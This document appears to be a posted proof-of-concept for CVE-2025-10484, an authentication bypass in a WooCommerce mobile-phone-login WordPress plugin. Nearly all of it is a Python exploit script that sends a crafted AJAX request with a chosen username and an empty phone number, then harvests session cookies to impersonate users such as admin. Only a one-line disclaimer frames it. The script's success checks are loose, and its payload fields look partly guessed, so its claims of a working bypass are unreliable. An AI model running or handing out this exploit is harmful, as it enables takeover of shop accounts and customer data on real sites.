CVE-2025-10484 WordPress WooCommerce手机号登录插件认证绕过漏洞

#!/usr/bin/env python3 """ CVE-2025-10484 PoC - Authentication Bypass in WooCommerce Mobile Phone Login Plugin Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys from urllib.parse import urljoin def exploit_auth_bypass(target_url, target_username): """ Exploit the authentication bypass vulnerability in fma_lwp_set_session_php_fun() by directly setting session for target user without password verification. """ # Target the AJAX endpoint used by the plugin ajax_endpoint = urljoin(target_url, '/wp-admin/admin-ajax.php') # Payload to trigger fma_lwp_set_session_php_fun() with target username # The vulnerability allows setting session without proper authentication payload = { 'action': 'fma_lwp_set_session', # Plugin AJAX action 'username': target_username, # Target user to impersonate 'phone_number': '', # Empty phone number bypasses verification 'method': 'set_session' # Direct session manipulation } try: print(f'[*] Attempting authentication bypass for user: {target_username}') print(f'[*] Target URL: {ajax_endpoint}') # Send malicious request response = requests.post( ajax_endpoint, data=payload, headers={ 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' }, timeout=30, allow_redirects=False ) # Check for successful session creation indicators if response.status_code == 200: cookies = response.cookies if cookies: print(f'[+] SUCCESS: Authentication bypassed!') print(f'[+] Obtained session cookies: {dict(cookies)}') print(f'[*] You can now use these cookies to access the site as {target_username}') return True # Alternative check: look for session token in response if 'session' in response.text.lower() or 'success' in response.text.lower(): print(f'[+] SUCCESS: Session data received') print(f'[*] Response: {response.text[:500]}') return True print(f'[-] Failed to bypass authentication') print(f'[*] Status code: {response.status_code}') print(f'[*] Response: {response.text[:500]}') return False except requests.exceptions.RequestException as e: print(f'[-] Request failed: {e}') return False def main(): if len(sys.argv) < 3: print('Usage: python cve-2025-10484-poc.py <target_url> <username>') print('Example: python cve-2025-10484-poc.py https://example.com admin') sys.exit(1) target_url = sys.argv[1].rstrip('/') target_username = sys.argv[2] exploit_auth_bypass(target_url, target_username) if __name__ == '__main__': main()